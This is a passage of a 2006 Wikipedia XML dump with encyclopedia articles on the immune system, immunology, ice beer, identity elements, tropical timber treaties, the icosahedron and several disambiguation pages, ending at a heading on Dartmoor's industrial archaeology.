** [[Cancer]], and [[hematological malignancy]] (such as [[leukemia]], [[lymphoma]] and [[multiple myeloma|myeloma]]) in particular.
** [[Diabetes Mellitus]]
** [[Cystic fibrosis]]
** [[Lupus Erythematosus]]
** [[Nephrotic syndrome]]
** [[Viral infections]] ie. viral respiratory infections then allowing for bacterial [[pneumonia]] to develop.
** [[HIV]]
** [[Ulcerative colitis]]
** [[Anorexia | Bullimia]] (due to [[malnutrition]], stress, [[depression]]).
** [[Sickle-cell disease]].
** [[Liver disease]] / [[cirrhosis]]
** [[Cushing's syndrome]]

==Pharmacology==
Despite high hopes, there are no [[medication]]s that directly increase the activity of the immune system. Various forms of medication that activate the immune system may indeed cause [[autoimmune disorder]]s.

Suppression of the immune system is often used to control autoimmune disorders or [[inflammation]] when this causes excessive tissue damage, and to prevent [[transplant rejection]] after an [[organ transplant]]. Commonly used [[immunosuppression|immunosuppressants]] include [[glucocorticoid]]s, [[azathioprine]], [[methotrexate]], [[ciclosporin]], [[cyclophosphamide]] and [[mercaptopurine]]. In organ transplants, [[ciclosporin]], [[tacrolimus]], [[mycophenolate mofetil]] and various others are used to prevent organ rejection through selective T cell inhibition.

==See also==
* [[antigen]]/[[antigenic determinant]]/[[epitope]]/[[hapten]]/[[memory cell]]
* [[autoimmune disorder]]s
* [[CD4|CD4 receptor]]/[[CD8|CD8 receptor]]/[[perforin]]/[[apoptosis]]/[[clonal selection]]
* [[immunosuppression]]
* [[immunosuppressive drug]]
* [[immunotherapy]]
* [[lymphatic system]]/[[lymphocyte]]
* [[macrophage]]
* [[major histocompatibility complex]]/[[class I MHC]]/[[class II MHC]]
* [[monoclonal antibody]]/[[polyclonal antibody]]

==Further reading==
* A standard textbook on the immune system is ''Immunobiology'', by [[Charles Janeway]], et al. The paperback of the sixth edition is  ISBN 0815341016. [[NCBI]] makes the 5th edition available electronically at [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=imm.TOC&amp;depth=10]. 
* An excellent introduction to the immune system is &quot;How the Immune System Works&quot; by [[Lauren Sompayrac]]. The paperback of the second edition is ISBN 063204702X.

{{organ systems}}

{{immune_system}}

[[Category:Immune system|*]]
[[Category:Immunology]]

{{Link FA|pl}}
[[bg:Имунна система]]
[[cs:Imunita (biologie)]]
[[da:Immunforsvar]]
[[de:Immunsystem]]
[[es:Sistema inmunitario]]
[[fr:Système immunitaire]]
[[he:מערכת החיסון]]
[[id:Imunitas]]
[[it:Immunità (medicina)]]
[[nl:Afweer]]
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[[pt:Sistema imunitário]] {{Link FA|pt}}
[[ru:Иммунная система]]
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[[zh:免疫系统]]</text>
    </revision>
  </page>
  <page>
    <title>Immunology</title>
    <id>14959</id>
    <revision>
      <id>35072831</id>
      <timestamp>2006-01-13T22:34:47Z</timestamp>
      <contributor>
        <ip>208.51.65.82</ip>
      </contributor>
      <comment>/* Classical immunology */</comment>
      <text xml:space="preserve">'''Immunology''' is a broad branch of [[biomedical science|biomedical]] [[science]] that covers the study of all aspects of the [[immune system]] in all [[organism]]s. It deals with, among other things, the [[physiology|physiological]] functioning of the immune system in states of both health and disease; malfunctions of the immune system in immunological disorders ([[autoimmune diseases]], [[hypersensitivity|hypersensitivities]], [[immune deficiency]], [[transplant|allograft]] rejection); the physical, chemical and physiological characteristics of the components of the immune system [[in vitro]], [[in situ]], and [[in vivo]]. Immunology has various applications in several disciplines of science, and as such is further divided.

==Histological examination of the immune system==
Even before the concept of [[immunity]] (from ''immunis'', Latin for &quot;exempt&quot;) was developed, numerous early physicians characterised organs that would later prove to be part of the immune system. The key organs of the immune system are [[thymus]], [[spleen]], [[bone marrow]], [[lymphatic system|lymph vessels]], [[lymph node]]s and secondary lymphatic tissues such as [[tonsil]]s, [[adenoid]]s, and [[skin]]. Two major organs, the thymus and spleen, are examined [[histology|histologically]] only post-mortem during [[autopsy]]. However some lymph nodes and secondary lymphatic tissues can be [[surgery|surgically]] excised for examination while patients are still alive.

Many components of the immune system are actually [[cell (biology)|cell]]ular in nature and not associated with any specific organ but rather are embedded or circulating in various [[tissue (anatomy)|tissues]] located throughout the body.

==Classical immunology==
Classical immunology ties in with the fields of [[epidemiology]] and [[medicine]]. It studies the relationship between the body systems, [[pathogen]]s, and immunity. The earliest written mention of immunity can be traced back to the [[Pandemic|plague]] of [[Athens]] in [[430 BCE]]. [[Thucydides]] noted that people who had recovered from a previous bout of the disease could [[nurse]] the sick without contracting the illness a second time. Many other ancient societies have references to this phenomenon, but it was not until the [[19th century|19th]] and [[20th century|20th centuries]] before the concept developed into scientific theory.

The study of the molecular and cellular components that comprise the immune system, including their function and interaction, is the central science of immunology. The immune system has been divided into a more primitive [[innate immunity|innate immune system]], and [[adaptive immunity|acquired or adaptive immune system]] of vertebrates, the latter of which is further divided into [[humoral immunity|humoral]] and [[cell-mediated immunity|cellular components]]. 

The humoral (antibody) response is defined as the interaction between [[antibody|antibodies]] and [[antigen]]s. Antibodies are specific proteins released from a certain class of immune cells (B lymphocytes).  Antigens are defined as anything that elicits generation of antibodies, hence they are '''Anti'''body '''Gen'''erators.  Immunology itself rests on an understanding of the properties of these two biological entities. However, equally important is the cellular response, which can not only kill infected cells in its own right, but is also crucial in controlling the antibody response. Put simply, both systems are highly interdependent.

In the [[21st century]], immunology has broadened its horizons with much research being performed in the more specialized niches of immunology. This includes the immunological function of cells, organs and systems not normally associated with the immune system, as well as the function of the immune system outside classical models of immunity.

==Clinical immunology==
[[Clinical immunology]] is the study of [[disease]]s caused by the immune system and diseases of the immune system from a medical perspective. 

Many diseases caused by the immune system fall into two broad categories: [[immunodeficiency]], in which parts of the immune system fail to provide an adequate response (examples include [[chronic granulomatous disease]]), and [[autoimmunity]], in which the immune system attacks its own host's body (examples include [[systemic lupus erythematosus]], [[rheumatoid arthritis]], [[Hashimoto's disease]] and [[myasthenia gravis]]). Other immune system disorders include different [[hypersensitivity|hypersensitivities]], in which the system responds inappropriately to harmless compounds ([[asthma]] and [[allergy|allergies]]) or responds too intensely.

The most well-known disease that affects the immune system itself is [[Acquired Immunodeficiency Syndrome|AIDS]], caused by the [[HIV virus]]. AIDS is an immunodeficiency characterized by the lack of CD4+ (&quot;helper&quot;) [[T cells]] and [[macrophages]], which are destroyed by the HIV virus.

Clinical immunologists also study ways to prevent [[transplant rejection]], in which the immune system attempts to destroy [[allograft]]s or [[xenograft]]s.

==Immunotherapy==
''See main article [[Immunotherapy]]''

The use of immune system components to treat a disease or disorder is known as immunotherapy. Immunotherapy is most commonly used in the context of the treatment of [[cancer]]s together with [[chemotherapy]] ([[Medication|drug]]s) and [[radiotherapy]] ([[electromagnetic radiation|radiation]]). However, immunotherapy is also often used in the immunosuppressed (such as [[HIV]] patients) and people suffering from other immune deficiencies or autoimmune diseases.

==Diagnostic immunology==
The specificity of the bond between antibody and antigen has made it an excellent tool in the detection of substances in a variety of diagnostic techniques. Antibodies specific for a desired [[antigen]] can be conjugated with a radiolabel, fluorescent label, or color-forming enzyme and are used as a &quot;probe&quot; to detect it.

Well known applications of this include [[immunoblot]]ting, [[ELISA]] and immunohistochemical staining of microscope slides. The speed, accuracy and simplicity of such tests has led to the development of rapid techniques for the diagnosis of disease, microbes and even illegal drugs ''[[in vivo]]'' (of course tests conducted in a closed environment have a higher degree of accuracy). Such testing is also used to distinguish compatible [[blood type]]s.

==Evolutionary immunology==
Study of the immune system in extant and [[extinction|extinct]] species is capable of giving us a key understanding of the [[evolution]] of species and the immune system.

A development of complexity of the immune system can be seen from simple phagocytotic protection of single celled organisms, to circulating antimicrobial peptides in insects to lymphoid organs in vertebrates. Of course, like much of evolutionary observation, these physical properties are  often seen from the [[anthropocentric]] aspect.  It should be recognised, that every organism living today has an immune system absolutely capable of protecting it from most forms of harm; those organisms that did not adapt their immune systems to external threats are no longer around to be observed.   

[[Insect]]s and other [[arthropod]]s, while not possessing true adaptive immunity, show highly evolved systems of innate immunity, and are additionally protected from external injury (and exposure to pathogens) by their [[chitin]]ous shells.

==See also==

*[[Immune system]]
*[[autoimmunity]]
*[[List of immunologists]]

==References==
* [http://en.wikibooks.org/wiki/Immunology Wikibooks Immunology Textbook]
* Goldsby RA, Kindt TK, Osborne BA and Kuby J (2003) '''Immunology''', 5th Edition, W.H. Freeman and Company, New York, New York, ISBN 0-7167-4947-5

[[Category:Immunology| ]]

[[cs:Imunologie]]
[[da:Immunologi]]
[[de:Immunologie]]
[[es:Inmunología]]
[[fr:Immunologie]]
[[ko:면역학]]
[[he:אימונולוגיה]]
[[lb:Immunologie]]
[[hu:Immunológia]]
[[nl:Immunologie]]
[[ja:免疫学]]
[[pl:Immunologia]]
[[pt:Alergia e imunologia]]
[[ro:Imunologie]]
[[ru:Иммунология]]
[[simple:Immunology]]
[[fi:Immunologia]]
[[sv:Immunologi]]
[[th:ภูมิคุ้มกันวิทยา]]
[[vi:Miễn dịch học]]
[[tr:İmmünoloji]]
[[zh:免疫学]]</text>
    </revision>
  </page>
  <page>
    <title>IPA (disambiguation)</title>
    <id>14960</id>
    <revision>
      <id>37424263</id>
      <timestamp>2006-01-30T22:58:04Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>rv: please keep the format according to [[MOS:DP]]</comment>
      <text xml:space="preserve">'''IPA''' can stand for:

* [[International Phonetic Alphabet]], a system of phonetic notation
* [[India Pale Ale]], a style of beer
* [[Isopropyl alcohol]], or rubbing alcohol
* [[Independent Pilots Association]]
* [[Independent practice association]], a group of medical doctors
* [[Insolvency Practitioners Association]] of the UK and Ireland
* [[Institute for Propaganda Analysis]]
* [[Institute of Public Affairs]]
* [[International Police Association]]
* [[International Psychoanalytical Association]]
* [[Invasion, Planeshift, Apocalypse]], expansion for the card game Magic the Gathering

{{TLAdisambig}}

[[de:IPA]]
[[eo:IPA]]
[[ko:IPA]]
[[it:IPA]]
[[nl:IPA]]
[[ja:IPA]]
[[pl:IPA]]
[[ro:IPA (dezambiguizare)]]
[[sl:IPA]]</text>
    </revision>
  </page>
  <page>
    <title>Ice beer</title>
    <id>14961</id>
    <revision>
      <id>33351625</id>
      <timestamp>2005-12-31T06:45:14Z</timestamp>
      <contributor>
        <username>Daniel11</username>
        <id>63985</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Ice beer''' involves lowering the temperature of [[beer]] until [[ice|ice crystals]] form. Since alcohol has a lower freezing point than water and doesn't form crystals, when the ice is filtered off, the alcohol concentration increases. The resulting beer tends to have less character than other beers because the [[yeast]] cells/[[protein]] particles get filtered off with the ice.
&lt;!--
Ice beer became an essential part of a brewer's portfolio, as each company sought to expand its market by imitating the hugely successful introduction of '[[lite]]' beers.  In their rush to add an ice beer to their portfolio many companies simplified the brewing process, freezing the beer until ice crystals formed, but then allowing the crystals to melt before continuing with their normal brewing process.  This undermined the image of the beer for many consumers, and limited its retail success. (Is there a time for when this happened? A source? Till then, it stays out)
--&gt;

Ice beer is rumoured to have developed by accident in [[Germany]] during [[Oktoberfest]] celebrations with [[bock|bock beers]] which are traditionally brewed in the spring. A particularly cold year froze the beers and a new taste was noticed by the drinkers. These were called ''Eisbocks''. However, in its current form, ice beer was developed from the fruit-juice industry which used to freeze [[orange juice]] [[concentrate]] in order to reduce shipping costs.

[[Category:Beer styles]]
[[th:&amp;#3652;&amp;#3629;&amp;#3595;&amp;#3660;&amp;#3648;&amp;#3610;&amp;#3637;&amp;#3618;&amp;#3619;&amp;#3660;]]</text>
    </revision>
  </page>
  <page>
    <title>Identity element</title>
    <id>14962</id>
    <revision>
      <id>42031318</id>
      <timestamp>2006-03-03T09:16:35Z</timestamp>
      <contributor>
        <username>Varuna</username>
        <id>115098</id>
      </contributor>
      <minor />
      <comment>added a link to &quot;unital&quot;</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''For other uses, see [[identity (disambiguation)]].''&lt;/span&gt;

In [[mathematics]], an '''identity element''' (or '''neutral element''') is a special type of element of a [[set]] with respect to a [[binary operation]] on that set. It leaves other elements unchanged when combined with them. This is used for [[group (mathematics)|group]]s and [[magma (algebra)|related concepts]]. 

The term ''identity element'' is often shortened to ''identity'' when there is no possibility of confusion; we do so in this article.

Let (''S'',*) be a set ''S'' with a binary operation * on it (known as a [[magma (algebra)|magma]]). Then an element ''e'' of ''S'' is called a '''left identity''' if ''e''&amp;nbsp;*&amp;nbsp;''a''&amp;nbsp;=&amp;nbsp;''a'' for all ''a'' in ''S'', and a '''right identity''' if ''a''&amp;nbsp;*&amp;nbsp;''e''&amp;nbsp;=&amp;nbsp;''a'' for all ''a'' in ''S''. If ''e'' is both a left identity and a right identity, then it is called a '''two-sided identity''', or simply an '''identity'''.

An identity with respect to addition is called an '''additive identity''' and an identity with respect to multiplication is called a '''multiplicative identity'''.  The distinction is used most often for sets that support both binary operations (such as with [[ring (mathematics)|ring]]s).

==Examples==
{| border=1, align=top
!set!!operation!!identity
|-
|[[real number]]s||+ (addition)||[[0 (number)|0]]
|-
|[[real number]]s||• (multiplication)||[[1 (number)|1]]
|-
&lt;!-- ||'''R'''&lt;sup&gt;''n''&lt;/sup&gt;  ||• (multiplication)|[[1 (number)|1]] --&gt;
|''n''-by-''n'' square [[matrix (mathematics)|matrices]]|| + (addition)||[[zero matrix]]
|-
|''n''-by-''n'' square [[matrix (mathematics)|matrices]]|| • (multiplication)||[[identity matrix]]
|-
|all [[function (mathematics)|functions]] from a set ''M'' to itself|| function composition||[[identity map]]
|-
|character strings|| concatenation || empty string
|-
|only two elements {''e'', ''f''}||* defined by&lt;br&gt; ''e''&amp;nbsp;*&amp;nbsp;''e''&amp;nbsp;= ''f''&amp;nbsp;*&amp;nbsp;''e''&amp;nbsp;=&amp;nbsp;''e'' and &lt;br&gt; ''f''&amp;nbsp;*&amp;nbsp;''f''&amp;nbsp;= ''e''&amp;nbsp;*&amp;nbsp;''f''&amp;nbsp;=&amp;nbsp;''f''||both ''e'' and ''f'' are left identities, but there is no right or two-sided identity
|}

As the last example shows, it is possible for (''S'',*) to have several left identities. In fact, every element can be a left identity. Similarly, there can be several right identities. But if there is both a right identity and a left identity, then they are equal and there is just a single two-sided identity. To see this, note that if ''l'' is a left identity and ''r'' is a right identity then ''l''&amp;nbsp;=&amp;nbsp;''l''&amp;nbsp;*&amp;nbsp;''r''&amp;nbsp;=&amp;nbsp;''r''. In particular, there can never be more than one two-sided identity.

==See also==
*[[Inverse element]]
*[[Additive inverse]]
*[[Group (mathematics)|Group]]
*[[Monoid]]
*[[Unital]]
*[[Quasigroup]]
[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Binary operations|*Identity element]]

[[ar:عنصر حيادي]]
[[cs:Neutrální prvek]]
[[de:Neutrales Element]]
[[et:Ühikelement]]
[[es:Elemento neutro]]
[[fr:Élément neutre]]
[[he:איבר יחידה]]
[[hu:Neutrális elem]]
[[nl:Neutraal element]]
[[ja:単位元]]
[[pl:Element neutralny]]
[[pt:Elemento neutro]]
[[sk:Neutrálny prvok]]
[[sl:Enak element]]
[[sv:Neutralt element]]
[[vi:Phần tử đơn vị]]
[[zh:單位元]]</text>
    </revision>
  </page>
  <page>
    <title>International Tropical Timber Agreement, 1983</title>
    <id>14963</id>
    <revision>
      <id>32690415</id>
      <timestamp>2005-12-25T16:50:09Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>making an intro paragraph out of the objectives paragraph, adding category</comment>
      <text xml:space="preserve">The '''International Tropical Timber Agreement''' (often abbreviated as '''Tropical Timber 83''') is an agreement to provide an effective framework for cooperation between tropical timber producers and consumers and to encourage the development of national policies aimed at sustainable utilization and conservation of tropical forests and their genetic resources.

''opened for signature -'' [[November 18]] [[1983]]

''entered into force -'' [[April 1]] [[1985]]; this agreement expired when the [[International Tropical Timber Agreement, 1994]], went into force.

''parties -'' (54) [[Australia]], [[Austria]], [[Belgium]], [[Bolivia]], [[Brazil]], [[Burma]], [[Cameroon]], [[Canada]], [[People's Republic of China]], [[Colombia]], [[Democratic Republic of the Congo]], [[Republic of the Congo]], [[Côte d'Ivoire]], [[Denmark]], [[Ecuador]], [[Egypt]], [[European Union]], [[Fiji]], [[Finland]], [[France]], [[Gabon]], [[Germany]], [[Ghana]], [[Greece]], [[Guyana]], [[Honduras]], [[India]], [[Indonesia]], [[Republic of Ireland|Ireland]], [[Italy]], [[Japan]], [[South Korea]], [[Liberia]], [[Luxembourg]], [[Malaysia]], [[Nepal]], [[Netherlands]], [[New Zealand]], [[Norway]], [[Panama]], [[Papua New Guinea]], [[Peru]], [[Philippines]], [[Portugal]], [[Russia]], [[Spain]], [[Sweden]], [[Switzerland]], [[Thailand]], [[Togo]], [[Trinidad and Tobago]], [[United Kingdom]], [[United States]], [[Venezuela]]

==References==
{{CIA_WFB_2003}}

[[Category:Treaties on the environment]]
[[Category:1985 in law]]</text>
    </revision>
  </page>
  <page>
    <title>International Tropical Timber Agreement, 1994</title>
    <id>14964</id>
    <revision>
      <id>32690500</id>
      <timestamp>2005-12-25T16:51:51Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>[[Category:1997 in law]]</comment>
      <text xml:space="preserve">'''International Tropical Timber Agreement, 1994''' also known as '''Tropical Timber 94''' was drafted to ensure that by the year [[2000]] exports of tropical [[timber]] originated from sustainably managed sources and to establish a fund to assist tropical timber producers in obtaining the resources necessary to reach this objective.

The agreement was opened for signature on [[January 26]] [[1994]] and entered into force on [[January 1]] [[1997]].

''parties'' - (58) [[Australia]], [[Austria]], [[Belgium]], [[Bolivia]], [[Brazil]], [[Burma]], [[Cambodia]], [[Cameroon]], [[Canada]], [[Central African Republic]], [[People's Republic of China]], [[Colombia]], [[Democratic Republic of the Congo]], [[Republic of the Congo]], [[Côte d'Ivoire]], [[Denmark]], [[Ecuador]], [[Egypt]], [[European Union]], [[Fiji]], [[Finland]], [[France]], [[Gabon]], [[Germany]], [[Ghana]], [[Greece]], [[Guyana]], [[Honduras]], [[India]], [[Indonesia]], [[Republic of Ireland|Ireland]], [[Italy]], [[Japan]], [[South Korea]], [[Liberia]], [[Luxembourg]], [[Malaysia]], [[Nepal]], [[Netherlands]], [[New Zealand]], [[Norway]], [[Panama]], [[Papua New Guinea]], [[Peru]], [[Philippines]], [[Portugal]], [[Spain]], [[Suriname]], [[Sweden]], [[Switzerland]], [[Thailand]], [[Togo]], [[Trinidad and Tobago]], [[United Kingdom]], [[United States]], [[Uruguay]], [[Vanuatu]], [[Venezuela]]


==References==
{{CIA_WFB_2003}}

[[Category:Treaties on the environment]]
[[Category:1997 in law]]</text>
    </revision>
  </page>
  <page>
    <title>Ica</title>
    <id>14966</id>
    <revision>
      <id>37070051</id>
      <timestamp>2006-01-28T11:39:46Z</timestamp>
      <contributor>
        <username>Randwicked</username>
        <id>73688</id>
      </contributor>
      <minor />
      <text xml:space="preserve">* [[Ica (city)|Ica]], a city in [[Peru]]
* The [[Ica Region]], also in Peru
* [[Içá]] - a river, [[tributary]] of [[Amazon River]]
* The [[Ica (language)|Ica language]], a Magdalenic [[Chibchan]] language spoken in [[Colombia]]
* [[Independent component analysis]] (mathematics)
* [[ICA]], a [[TLA|three-letter acronym]] with several possible meanings
{{disambig}}

[[de:Ica]]
[[es:Ica]]
[[sv:Ica]]</text>
    </revision>
  </page>
  <page>
    <title>Instrumental</title>
    <id>14967</id>
    <revision>
      <id>38594364</id>
      <timestamp>2006-02-07T09:35:07Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">:''For the linguistic declension case, see [[Instrumental case]].''
An '''instrumental''' is, in contrast to a [[song]], a [[musical composition]] or piece without [[lyrics]] or any other sort of [[vocal music]]; all of the [[music]] is produced by [[musical instrument]]s. These instruments include anything in the range of [[string instrument|strings]], [[woodwind|woodwinds]], [[brass instrument|brass]], and [[percussion instrument|percussion]].  Specifically, this term is used when referring to [[popular music]]; some [[musical genre]]s make little use of the [[human voice]], such as [[jazz]], [[electronic music]], [[classical music era|classical]], and large amounts of [[Western classical music]] (although in electronic music, the voice can be sampled just like anything else).  In commercial music, some tracks or songs on a [[compact disc]] include instrumental tracks.  These tracks are exact copies of the corresponding song, but do not have vocals.

== A Cappella ==
[[A cappella]] singing may be considered the opposite of instrumental music: all sounds are produced by the human body without the use of additional instruments.  Several genres of [[performance|performances]] may be considered a cappella, like [[opera]].  Sometimes, though, even operas are not completely a cappella.

==See also==
*[[Instrumental rock]]
*[[List of Rock Instrumentals]]
*[[Brass instrument]]
*[[Percussion instrument]]
*[[woodwind|Woodwind instrument]]
*[[A capella]]


[[Category:Instrumentals|*]]

[[fi:Instrumentaalimusiikki]]
[[nl:instrumentale muziek]]
[[pt:Instrumental]]</text>
    </revision>
  </page>
  <page>
    <title>Icosahedron</title>
    <id>14968</id>
    <revision>
      <id>42163346</id>
      <timestamp>2006-03-04T06:04:39Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <comment>Reg polyhedra db</comment>
      <text xml:space="preserve">{{Reg polyhedra db|Platonic polyhedron stat table|I}}

An '''icosahedron''' [&amp;#716;a&amp;#305;k&amp;#601;s&amp;#601;'hi&amp;#720;dr&amp;#601;n] ''noun'' (plural:  -drons, -dra [-dr&amp;#601;]) is
a [[polyhedron]] having 20 faces, but usually a '''regular  icosahedron''' is meant, which has faces which are equilateral [[triangle (geometry)|triangle]]s.
[''Etymology'': 16th Century: from Greek eikosaedron, from eikosi twenty + -edron -hedron], &quot;icosa'hedral ''adjective''
__TOC__
[[image:icosahedron flat.png]]

In [[geometry]], the regular icosahedron is one of the five [[Platonic solid]]s. It is a [[convex]] regular [[polyhedron]] composed of [[twenty]] [[triangle (geometry)|triangular]] faces, with [[five]] meeting at each of the [[twelve]] vertices. It has 30 edges. 
Its [[dual polyhedron]] is the [[dodecahedron]].

== Area and volume ==
The surface area ''A'' and the [[volume]] ''V'' of a regular icosahedron of edge length ''a'' are:
:&lt;math&gt;A=5\sqrt3a^2&lt;/math&gt;
:&lt;math&gt;V=\begin{matrix}{5\over12}\end{matrix}(3+\sqrt5)a^3&lt;/math&gt;

&lt;div style=&quot;float:left;margin-right:0.5em;&quot;&gt;[[image:Icosahedron-golden-rectangles.png|Golden rectangles in an icosahedron]]&lt;/div&gt;

==Cartesian coordinates ==
The following [[Cartesian coordinates]] define the vertices of an icosahedron centered at the origin:
: (0, ±1, ±&amp;phi;)
: (±1, ±&amp;phi;, 0)
: (±&amp;phi;, 0, ±1)
where &amp;phi; = (1+&amp;radic;5)/2 is the [[golden ratio]] (also written &amp;tau;).  Note that these vertices form sets of three mutually [[orthogonal]] [[golden rectangle]]s.

The 12 edges of an [[octahedron]] can be partitioned in the golden ratio so that the resulting vertices define a regular icosahedron. This is done by first placing vectors along the octahedron's edges such that each face is bounded by a cycle, then similarly partitioning each edge into the golden mean along the direction of its vector. The five octahedra defining any given icosahedron form a regular [[polyhedral compound]].

== Geometric relations ==
There are distortions of the icosahedron that, while no longer regular, are nevertheless vertex-uniform.  These are [[invariant (mathematics)|invariant]] under the same [[rotation]]s as the [[tetrahedron]], and are somewhat analogous to the [[snub cube]] and [[snub dodecahedron]], including some forms which are [[chirality (mathematics)|chiral]] and some with T&lt;sub&gt;h&lt;/sub&gt;-symmetry, i.e. have different planes of symmetry than the tetrahedron.  The icosahedron has a large number of [[stellation]]s, including one of the [[Kepler-Poinsot solid]]s and some of the regular compounds, which could be discussed here.

The icosahedron is unique among the Platonic solids in possessing a dihedral angle not less than 120°. Thus, just as hexagons have angles not less than 120° and cannot be used as the faces of a convex regular polyhedron because such a construction would not meet the requirement that at least three faces meet at a vertex and leave a positive [[defect (geometry)|defect]] for folding in three dimensions, icosahedra cannot be used as the [[cell (mathematics)|cells]] of a convex regular [[polychoron]] because, similarly, at least three cells must meet at an edge and leave a positive defect for folding in four dimensions (in general for a convex [[polytope]] in ''n'' dimensions, at least three [[facet (mathematics)|facets]] must meet at a [[ridge (mathematics)|ridge]] and leave a positive defect for folding in ''n''-space). However, when combined with suitable cells having smaller dihedral angles, icosahedra can be used as cells in semi-regular polychora (for example the [[snub 24-cell]]), just as hexagons can be used as faces in semi-regular polyhedra (for example the [[truncated icosahedron]]). Finally, non-convex polytopes do not carry the same strict requirements as convex polytopes, and icosahedra are indeed the cells of the [[icosahedral 120-cell]], one of the ten non-convex regular polychora.

An icosahedron can also be called a [[Gyroelongated dipyramid|gyroelongated pentagonal bipyramid]]. It can be decomposed into a [[gyroelongated pentagonal pyramid]] and a [[pentagonal pyramid]] or into a [[pentagonal antiprism]] and two equal [[pentagonal pyramid]]s.

The icosahedron can also be called a snub tetrahedron, as [[snubification]] of a regular tetrahedron gives a regular icosahedron. Alternatively, using the nomenclature for snub polyhedra that refers to a snub cube as a snub cuboctahedron (cuboctahedron = [[Rectification (geometry)|rectified]] cube) and a snub dodecahedron as a snub icosidodecahedron (icosidodecahedron = rectified dodecahedron), one may call the icosahedron the snub octahedron (octahedron = rectified tetrahedron).

===Icosahedron vs dodecahedron===

Despite appearances, when an icosahedron is inscribed in a [[sphere]], it occupies less of the sphere's volume (60.54%)
than a [[dodecahedron]] inscribed in the same sphere (66.49%).

== Natural forms and uses ==

Many [[virus]]es, e.g. [[herpes]] virus, have the shape of an icosahedron. Viral structures are built of repeated identical [[protein]] subunits and the icosahedron is the easiest shape to assemble using these subunits. A '''regular''' polyhedron is used because it can be built from a single basic unit protein used over and over again; this saves space in the viral [[genome]].

In several [[roleplaying]] games, such as [[D&amp;D]], the twenty-sided die (for short, [[Dice#Non-cubical dice|d20]]) plays a vital role in determining success or failure of an action. This die is in the form of a regular icosahedron.

The die inside of a [[Magic 8-Ball]] that has printed on it 20 answers to yes-no questions is a regular icosahedron.

If each edge of an icosahedron is replaced by a one [[ohm]] [[resistor]], the resistance between opposite vertices is 0.5 ohms, and that between adjacent vertices 11/30 ohms.

==See also==
*[[:Image:Icosahedron.gif|Spinning icosahedron]]
*[[Truncated icosahedron]]

==External links==
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra
*[http://www.tulane.edu/~dmsander/WWW/335/335Structure.html] A discussion of viral structure and the icosahedron
*[http://www.korthalsaltes.com/ Paper Models of Polyhedra] Many links

[[Category:Deltahedra]]
[[Category:Platonic solids]]
[[Category:Polyhedra]]

[[ca:Icosàedre]]
[[da:Ikosaeder]]
[[de:Ikosaeder]]
[[es:Icosaedro]]
[[fr:Icosaèdre]]
[[it:Icosaedro]]
[[ja:&amp;#27491;&amp;#20108;&amp;#21313;&amp;#38754;&amp;#20307;]]
[[ko:%EC%A0%95%EC%9D%B4%EC%8B%AD%EB%A9%B4%EC%B2%B4]]
[[nl:Icosaëder]]
[[pl:Dwudziesto&amp;#347;cian foremny]]
[[pt:Icosaedro]]
[[ru:&amp;#1048;&amp;#1082;&amp;#1086;&amp;#1089;&amp;#1072;&amp;#1101;&amp;#1076;&amp;#1088;]]
[[sv:Ikosaeder]]
[[fi:Ikosaedri]]
[[zh:&amp;#27491;&amp;#20108;&amp;#21313;&amp;#38754;&amp;#39636;]]</text>
    </revision>
  </page>
  <page>
    <title>Integer sequences</title>
    <id>14969</id>
    <revision>
      <id>15912486</id>
      <timestamp>2002-05-05T15:30:05Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Integer sequence]]</comment>
      <text xml:space="preserve">#redirect [[Integer sequence]]
</text>
    </revision>
  </page>
  <page>
    <title>Industrial archaeology of Dartmoor</title>
    <id>14971</id>
    <revision>
      <id>20920157</id>
      <timestamp>2005-08-13T12:37:19Z</timestamp>
      <contributor>
        <username>Allen3</username>
        <id>189417</id>
      </contributor>
      <comment>rm link to deleted article</comment>
      <text xml:space="preserve">The '''[[industrial archaeology]] of [[Dartmoor]]''' covers a number of the industries which have, over the ages, occurred on Dartmoor, and the remaining evidence surrounding them. Currently only a few industries are economically significant, yet all three will inevitably leave their own traces on the moor: china clay mining, farming and tourism. A good general guide to the commercial activities on Dartmoor at the end of the [[19th century]] is [[William Crossing]]'s ''The Dartmoor Worker''.

== Warrens ==

The significance of the term ''[[warren]]'' nowadays is not what it once was. In the [[Middle Ages]] it was a privileged place, and the creatures of the warren were protected by the king 'for his princely delight and pleasure'.

Until early in the [[20th century]], rabbits were kept on a commercial scale, both for their flesh and their fur. The evidence for this is plentiful as there are still extant a number of warrens which are manifestly man-made, and in place names such as Ditsworthy Warren and [[Warren House Inn]]. Also, whilst walking on Dartmoor near one of the many warrens, it is entirely possible that you might accidentally stumble into a [[weasel]]-trap, placed there originally to capture weasels and stoats attempting to get at the rabbits.

The subject of warrening on Dartmoor is addressed in [[Eden Phillpotts]]' story ''The River''.

== Peat-cutting ==

Peat-cutting for fuel occurred at some locations on Dartmoor until certainly the [[1970s]], usually for personal consumption. The right of [[Dartmoor commoners]] to cut peat for fuel is known as ''turbary''. These rights were conferred a long time ago, predating most written records. The area once known as the ''Turbary of Alberysheved'' between the [[River Teign]] and the headwaters of the [[River Bovey]] is mentioned in the Perambulation of the Forest of Dartmoor of [[1240]] (by 1609 the name of the area had changed to Turf Hill). 

An attempt was made to commercialise the cutting of peat in [[1901]] at [[Rattle Brook Head]], however this quickly failed.

== Mining ==

